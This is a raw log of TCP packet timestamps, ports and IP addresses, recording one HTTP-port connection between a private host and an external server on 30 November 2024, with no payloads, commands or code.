Nov 30, 2024 22:53:14.698712111 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.700978994 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.701225042 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.701277018 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.703511953 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.703558922 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.704060078 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.704109907 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.706011057 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.706188917 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.706242085 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.708535910 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.708633900 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.708687067 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.710943937 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.711003065 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.711175919 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.712553024 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.713514090 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.713565111 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.713651896 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.713692904 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.715955019 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.715998888 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.716171026 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.716217041 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.718431950 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.718648911 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.718661070 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.718698025 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.721019983 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.721260071 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.721337080 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.724311113 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.724323988 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.724375963 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.726207018 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.726262093 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.726288080 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.726306915 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.728569984 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.728864908 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.728904963 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.731071949 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.731129885 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.731264114 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.731322050 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.733623981 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.733717918 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.733760118 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.736042023 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.736320972 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.736360073 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.738548994 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.738594055 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.738773108 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.738940001 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.740950108 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.740999937 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.741302967 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.741400003 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.743468046 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.743757963 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.743820906 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.745943069 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.746284008 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.746347904 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.748465061 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.748533964 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.748763084 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.748842001 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.750986099 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.751044989 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.751192093 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.751375914 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.753612041 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.753654003 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.753946066 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.753990889 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.825113058 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.825196981 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.825207949 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.825248957 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.825975895 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.826025963 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.826075077 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.826114893 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.827749014 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.827800035 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.827956915 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.828003883 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.829679012 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.829732895 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.829778910 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.829819918 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.831422091 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.831516027 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.832525969 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.832581043 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.834394932 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.834408998 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.834456921 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.836540937 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.836553097 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.836610079 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.837922096 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.837934017 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.837980986 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.838608027 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.838659048 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.840536118 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.840547085 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.840558052 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.840603113 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.844315052 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.844326019 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.844336033 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.844346046 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.844408035 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.844429970 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.845515966 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.845572948 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.845742941 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.845791101 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.847091913 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.847142935 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.847402096 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.847450018 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.852550983 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.852561951 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.852572918 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.852582932 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.852595091 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.852607012 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.852632999 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.852684021 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.856539965 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.856558084 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.856570959 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.856580973 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.856616020 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.856651068 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.860367060 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.860384941 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.860395908 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.860407114 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.860419035 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.860420942 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.860430956 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.860460997 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.860487938 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.864598989 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.864610910 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.864622116 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.864633083 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.864658117 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.864690065 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.868551016 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.868562937 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.868573904 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.868585110 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.868597031 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.868607044 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.868611097 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.868637085 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.868659019 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.872364044 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.872375965 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.872385979 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.872395039 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.872405052 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.872426987 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.872463942 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.874530077 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.874607086 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.874618053 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.874619007 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.874655962 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.876550913 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.876562119 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.876589060 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.876601934 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.876616955 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.876646996 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.880088091 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.880103111 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.880114079 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.880125046 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.880136013 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.880146980 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.880157948 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.880162954 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.880177975 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.880218983 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.883394957 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.883411884 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.883421898 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.883430958 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.883443117 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.883451939 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.883460045 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.883464098 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.883482933 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.883501053 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.884531975 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.884541988 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.884552002 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.884586096 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.884608030 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.885210991 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.885263920 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.885479927 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.885526896 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.886579037 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.886590004 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.886636019 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.886964083 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.887013912 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.887381077 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.887427092 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.887799025 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.887851954 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.888031960 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.888072968 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.888700962 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.888750076 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.888947010 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.888994932 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.889635086 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.889683008 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.889939070 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.889991999 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.890527010 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.890599012 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.890799999 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.890847921 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.891349077 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.891396046 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.891587019 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.891640902 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.892237902 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.892285109 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.892528057 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.892575979 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.893157005 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.893207073 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.893445015 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.893493891 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.894045115 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.894092083 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.894238949 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.894287109 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:14.894886017 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:14.894953966 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.028431892 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.028450966 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.028465033 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.028475046 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.028486013 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.028496027 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.028506994 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.028529882 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.028595924 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.031306982 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.031322956 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.031333923 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.031342983 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.031352997 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.031363010 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.031373024 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.031487942 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.032543898 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.032557011 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.032605886 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.035481930 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.035499096 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.035510063 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.035521030 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.035531998 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.035536051 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.035543919 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.035547972 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.035595894 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.036531925 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.036542892 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.036582947 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.039880991 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.039891958 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.039905071 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.039915085 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.039931059 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.039933920 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.039943933 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.039956093 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.039966106 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.039967060 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.039997101 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.040014982 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.040534973 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.040591002 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.043461084 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.043471098 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.043481112 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.043489933 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.043500900 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.043509960 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.043512106 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.043521881 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.043548107 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.043570042 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.044553995 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.044564009 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.044570923 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.044620037 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.047866106 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.047875881 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.047883034 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.047888041 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.047894001 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.047904015 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.047914028 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.047945023 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.047969103 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.048521996 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.048573971 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.051551104 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.051561117 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.051598072 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.051604033 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.051609039 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.051620960 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.051635027 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.051645994 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.051666975 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.051696062 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.052546024 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.052556038 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.052601099 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.055726051 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.055737019 CET	80	49741	185.215.113.16	192.168.2.9
